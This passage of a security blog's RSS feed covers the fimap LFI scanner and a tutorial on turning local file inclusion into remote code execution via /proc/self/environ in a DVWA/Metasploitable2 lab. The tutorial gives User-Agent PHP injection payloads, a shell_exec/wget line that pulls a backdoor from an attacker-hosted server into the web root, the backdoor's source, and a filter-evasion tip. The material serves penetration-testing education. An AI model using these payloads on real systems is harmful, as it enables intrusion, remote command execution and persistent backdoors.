&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc5FP7HZr_ltwtiOjtJ6Q8IUBO10ZRrgX3ylBvC-Ica4BDeDQ0GpTrnhh9XdEvZ7OWgdSq9Ex3nU4a_qdVY0H8DU0f2Pei7mZOK5pam2p_NDQrYqWVRunibkJRRZSIBFjc47ZRMlK5rlw/s1600/img2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;287&quot; data-original-width=&quot;645&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc5FP7HZr_ltwtiOjtJ6Q8IUBO10ZRrgX3ylBvC-Ica4BDeDQ0GpTrnhh9XdEvZ7OWgdSq9Ex3nU4a_qdVY0H8DU0f2Pei7mZOK5pam2p_NDQrYqWVRunibkJRRZSIBFjc47ZRMlK5rlw/s1600/img2.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Scanning with harvest mode : -H&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This mode harvest all urls from a given root url of a server and save it to a file.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ./fimap.py -H -u root_url -w output_file_name&lt;/code&gt;&lt;/pre&gt;
Example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ./fimap.py -H -u http://192.168.56.103/ -w op.txt&lt;/code&gt;&lt;/pre&gt;
The output will be saved on op.txt&lt;br /&gt;
&lt;br /&gt;
Now we can use that output file as input for scanning each url with fimap, with using mass scan option (-m)&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ./fimap.py -m -l op.txt&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Interactive mode :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#39;-x&#39; flag is used to start interactive mode in fimap. It lists all vulnerable targets based on previous scan results and gives the option to perform exploitation attempts against them. Example of interactive mode :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ./fimap.py -x&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNUvxAnSCsSU-AI7Js6mXDWUFfI7aEZsJLJiHOGty3dKgGek3PgU-KX9lRPik-tai2AHeL7C6-sxHXO62SoO-K-neYtNV5p8npArDN0GcfI8MQMCDUFpnY1nAyRfaalXobneYzr0E8odE/s1600/img3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;398&quot; data-original-width=&quot;995&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNUvxAnSCsSU-AI7Js6mXDWUFfI7aEZsJLJiHOGty3dKgGek3PgU-KX9lRPik-tai2AHeL7C6-sxHXO62SoO-K-neYtNV5p8npArDN0GcfI8MQMCDUFpnY1nAyRfaalXobneYzr0E8odE/s640/img3.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJsXahWNqIUrcHL_Kf24L22m9ZNfnDQJ6OcVamQzwMp2Y8jMgsP0sMKMhBmqbi62s8KrWELwWmZM5RgdUlkvuxOAzvKFhJk50A8w7hAG9FCUsCvQvZj8Vy6J0Rm2FnjB1SJ507IsqQDbY/s1600/img4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;259&quot; data-original-width=&quot;628&quot; height=&quot;262&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJsXahWNqIUrcHL_Kf24L22m9ZNfnDQJ6OcVamQzwMp2Y8jMgsP0sMKMhBmqbi62s8KrWELwWmZM5RgdUlkvuxOAzvKFhJk50A8w7hAG9FCUsCvQvZj8Vy6J0Rm2FnjB1SJ507IsqQDbY/s640/img4.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhCKr8anoNsEubmPFzZ8-02TkeE1DQOIRDd5dqXxTb3B_3_GcWdMaUHCpYLre7elte9swDV37gAyiV7DSyzY9nZHaJEuXtqI_B50yyQIXf55zKvAgqvc4McP7yHjHUgJzZ_MhQDYIkkyI/s1600/img5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;400&quot; data-original-width=&quot;532&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhCKr8anoNsEubmPFzZ8-02TkeE1DQOIRDd5dqXxTb3B_3_GcWdMaUHCpYLre7elte9swDV37gAyiV7DSyzY9nZHaJEuXtqI_B50yyQIXf55zKvAgqvc4McP7yHjHUgJzZ_MhQDYIkkyI/s1600/img5.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Links to other Posts :&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/local-file-inclusion-attacks-on-web.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Introduction to LFI Attack&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/exploiting-local-file-inclusion-lfi.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Exploiting Local File Inclusion (LFI ) vulnerability with /proc/self/environ method&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/remote-file-inclusion-attacks-on-web.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Introduction to RFI Attack&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;References&amp;nbsp; :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/crunchsec/fimap/&quot; target=&quot;_blank&quot;&gt;https://github.com/crunchsec/fimap/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.exploit-db.com/papers/12872&quot; target=&quot;_blank&quot;&gt;https://www.exploit-db.com/papers/12872&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://kaoticcreations.blogspot.com/2011/08/automated-lfirfi-scanning-exploiting.html&quot; target=&quot;_blank&quot;&gt;http://kaoticcreations.blogspot.com/2011/08/automated-lfirfi-scanning-exploiting.html&lt;/a&gt;&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/01/fimap-tool-for-exploiting-local-file.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaGcxadx2FoL710u3muiLjkc5gkPOJBgFYkMB3lJpMDIoYvjxTgPbaqhcUSKLZOe2n1EE9sQv4TZXAaYOVhjMFym1j0VYHzc6qbdaKGlLb3WkcLYWX19yTmCdxMdIRfiuaAg5bs2UqC6A/s72-c/img1.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-8075961704860423690</guid><pubDate>Sat, 26 Jan 2019 14:34:00 +0000</pubDate><atom:updated>2019-01-26T07:54:16.024-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">LFI</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><title>Exploiting Local File Inclusion (LFI ) vulnerability with /proc/self/environ method | LFI Attacks</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmskajcw4vppZInBQNLKF5jIKWQtnLCR6xLPIN9OD-h4iLfTWTvdfGN09Oe-fiJXP0eGldWDHZlM46U76v4uf3n5MpfSHK1ucVP_Mws68pFKGMtt_WvMSp5pJJ1zSSwqAUjU3q39i5NBw/s1600/lfi.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;108&quot; data-original-width=&quot;181&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmskajcw4vppZInBQNLKF5jIKWQtnLCR6xLPIN9OD-h4iLfTWTvdfGN09Oe-fiJXP0eGldWDHZlM46U76v4uf3n5MpfSHK1ucVP_Mws68pFKGMtt_WvMSp5pJJ1zSSwqAUjU3q39i5NBw/s1600/lfi.jpg&quot; style=&quot;display: none;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
In this post we are going to see, how an attacker can exploit LFI vulnerability to to achieve code execution by the use of /proc/self/environ method.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;What is /proc/self/environ LFI Method ?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In Linux based system the environment-variables of the current process (self) can be accessed via /proc/self/environ. One of the environment-variables set (if apache2 is running) is the user-agent which can be controlled through a HTTP request. If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;pre class=&quot;brush: php&quot;&gt;GET lfi.php?file=../../../proc/self/environ HTTP/1.1
User-Agent: &amp;lt;?php phpinfo();?&amp;gt;&lt;/pre&gt;
Now if an attacker sends the above http request to the web server then :&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;first the data on User-Agent field will written on the /proc/self/environ file.&lt;/li&gt;
&lt;li&gt;Then the page request &quot;&lt;i&gt;lfi.php?file=../../../proc/self/environ&lt;/i&gt;&quot; will include the content of /proc/self/environ file into the output page and our payload is get executed.&lt;/li&gt;
&lt;/ul&gt;
In this way a local file inclusion vulnerability can be leveraged to Remote Code Execution. Now lets see an example of it. For demonstration i am going to use Metasploitable2 VM with DVWA, You can download it from below link :&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; Download Link : &lt;a href=&quot;https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip&quot; target=&quot;_blank&quot;&gt;https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In DVWA web application, we are going to use &quot;File Inclusion&quot; page with &#39;low&#39; security setting.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqAp1wULnFl6KzHiPyeLwMbwEupdtojyk9My_ELi2dJcNL9aSss5ecvN3h1mNiB9CUGA42fAy_FhYksbd3Efxsax3XPcrpJALkTNM-cY0bpoSuyE6K2M7MgSs_S3O3d_VGAMJH4xwcfoM/s1600/img1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;384&quot; data-original-width=&quot;833&quot; height=&quot;295&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqAp1wULnFl6KzHiPyeLwMbwEupdtojyk9My_ELi2dJcNL9aSss5ecvN3h1mNiB9CUGA42fAy_FhYksbd3Efxsax3XPcrpJALkTNM-cY0bpoSuyE6K2M7MgSs_S3O3d_VGAMJH4xwcfoM/s640/img1.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /dvwa/vulnerabilities/fi/?page=file1.php&lt;/code&gt;&lt;/pre&gt;
Now there is LFI vulnerability in &#39;page&#39; input.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPTz4_XRcrYv9PqRdJhElS_fibgw8DQ-J4TT8m-38NmZLFJW6c5S7J9NWmpmkLl_sA_WGR6me5FZ5MRbggSyye06gs2XqPQ5FzLxoCSKpPOs6PiglCMDm_wyeoLg5tc17EBXRUf-3e8KM/s1600/img2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;308&quot; data-original-width=&quot;897&quot; height=&quot;219&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPTz4_XRcrYv9PqRdJhElS_fibgw8DQ-J4TT8m-38NmZLFJW6c5S7J9NWmpmkLl_sA_WGR6me5FZ5MRbggSyye06gs2XqPQ5FzLxoCSKpPOs6PiglCMDm_wyeoLg5tc17EBXRUf-3e8KM/s640/img2.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now lets try to include /proc/self/environ file.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgc-sCi-ShEPrZCR5KG_oauDWWXp5QqzUgGa4bKHGpVsYOBOxOOx7mc5W8xGoA1Aazve8JUwoFR8DhcE6jhLLhCllG0zndHCEaSRy5B3Jx0IeP3fq_LcDCKXV1IXiGAg7rXkhpJuoQdf4/s1600/img3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;353&quot; data-original-width=&quot;1006&quot; height=&quot;224&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgc-sCi-ShEPrZCR5KG_oauDWWXp5QqzUgGa4bKHGpVsYOBOxOOx7mc5W8xGoA1Aazve8JUwoFR8DhcE6jhLLhCllG0zndHCEaSRy5B3Jx0IeP3fq_LcDCKXV1IXiGAg7rXkhpJuoQdf4/s640/img3.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And it gets included in the output page, means it is also vulnerable to /proc/self/environ attack. Now we just just have to modify the &#39;User-Agent&#39; header field of the request body, and it can be done by using any browser proxies like Burp Suite, ZAP proxy or you can also use temper data plugin on firefox. I am going to use Burp proxy.&lt;br /&gt;
&lt;br /&gt;
Now first we are going to check weather our injected code will execute or not, and for this the payload will be :&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php phpinfo();?&amp;gt; &lt;/pre&gt;
And our request body will be :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9LNI3dbbpvVl8ZHJSVDIhXERw3ffvlsTrDCj2yJxMIvJzCb6n1ry7S8JuJJ8Bc8kx9a0SAJfVBQtZogJxAKmYdTyugGjZvLiUAyYXh4GGUHNt5BGXS7mnE5R0dymp-8EYEsSndbb5N30/s1600/img4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;248&quot; data-original-width=&quot;685&quot; height=&quot;230&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9LNI3dbbpvVl8ZHJSVDIhXERw3ffvlsTrDCj2yJxMIvJzCb6n1ry7S8JuJJ8Bc8kx9a0SAJfVBQtZogJxAKmYdTyugGjZvLiUAyYXh4GGUHNt5BGXS7mnE5R0dymp-8EYEsSndbb5N30/s640/img4.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Response output :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_0akZaPOARDmgerSFzfdyRIXK39qJawBEDpC9SU6oB2GT0GGhXF_wGvdQg1vGFBSEQauDISYsUW2rS3Lg2k1qnEKOuwY7E6vUcx17KC9Cm9rwRERfOyzty_RYlM23_afi3KchNP1QoVE/s1600/img5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;463&quot; data-original-width=&quot;826&quot; height=&quot;358&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_0akZaPOARDmgerSFzfdyRIXK39qJawBEDpC9SU6oB2GT0GGhXF_wGvdQg1vGFBSEQauDISYsUW2rS3Lg2k1qnEKOuwY7E6vUcx17KC9Cm9rwRERfOyzty_RYlM23_afi3KchNP1QoVE/s640/img5.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And it works, means we successfully got executed our code on the web server. Now we are going to use the below payload :&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php shell_exec(&#39;wget http://192.168.56.1:8000/shell.php -O /var/www/shell.php&#39;);?&amp;gt;&lt;/pre&gt;
The above php code will download backdoor file &quot;shell.php&quot; and store it on the web root directory (/var/www/), at here i am using a simple python http server to host backdoor file, in real world scenerio you can use the any web servers to host the backdoor file. The code used for php backdoor &quot;shell.php&quot; is :&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  $cmd = $_GET[&#39;cmd&#39;];
  system($cmd);
?&amp;gt;&lt;/pre&gt;
Now lets try the above payload.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihQHKg2Q1YLdHOpGFRmSSKXAIY7CNqdBgOaQGj2G7-cuu_YMo7xlBqHmy3EFpIQ2GVCTiqWmaUCuSPeT7Lslfj4iL6QeNo7HH27uuZukFcQ3AHCTz44u7OuKjIrzT0NqtC9C_uy-OYLnU/s1600/img6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;257&quot; data-original-width=&quot;812&quot; height=&quot;202&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihQHKg2Q1YLdHOpGFRmSSKXAIY7CNqdBgOaQGj2G7-cuu_YMo7xlBqHmy3EFpIQ2GVCTiqWmaUCuSPeT7Lslfj4iL6QeNo7HH27uuZukFcQ3AHCTz44u7OuKjIrzT0NqtC9C_uy-OYLnU/s640/img6.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now lets try to access our backdoor.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ66edpk4IGxDxVbVXgHUxN491g60Aj1cMP1BnL-m1Vsf6PAkS9hp6xQ9IpNJ-EPF0WFoP6unIajedOC9y0cBbKSuSZmyyiDPLHI8j4N-oVuLJkIiFoZfsJ2aPzVE2NRPFSoHL6cn29nA/s1600/img7.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;117&quot; data-original-width=&quot;826&quot; height=&quot;90&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ66edpk4IGxDxVbVXgHUxN491g60Aj1cMP1BnL-m1Vsf6PAkS9hp6xQ9IpNJ-EPF0WFoP6unIajedOC9y0cBbKSuSZmyyiDPLHI8j4N-oVuLJkIiFoZfsJ2aPzVE2NRPFSoHL6cn29nA/s640/img7.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And it works. In case if &#39;User Agent&#39; field is filtered by web application, then you can also inject php code within Accept-Encoding&#39; field.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Links to other Posts :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/local-file-inclusion-attacks-on-web.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Introduction to LFI Attack&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/fimap-tool-for-exploiting-local-file.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;fimap : tool for exploiting Local File Inclusion vulnerability&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/remote-file-inclusion-attacks-on-web.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Introduction to RFI Attack&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/01/exploiting-local-file-inclusion-lfi.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmskajcw4vppZInBQNLKF5jIKWQtnLCR6xLPIN9OD-h4iLfTWTvdfGN09Oe-fiJXP0eGldWDHZlM46U76v4uf3n5MpfSHK1ucVP_Mws68pFKGMtt_WvMSp5pJJ1zSSwqAUjU3q39i5NBw/s72-c/lfi.jpg" height="72" width="72"/></item></channel></rss>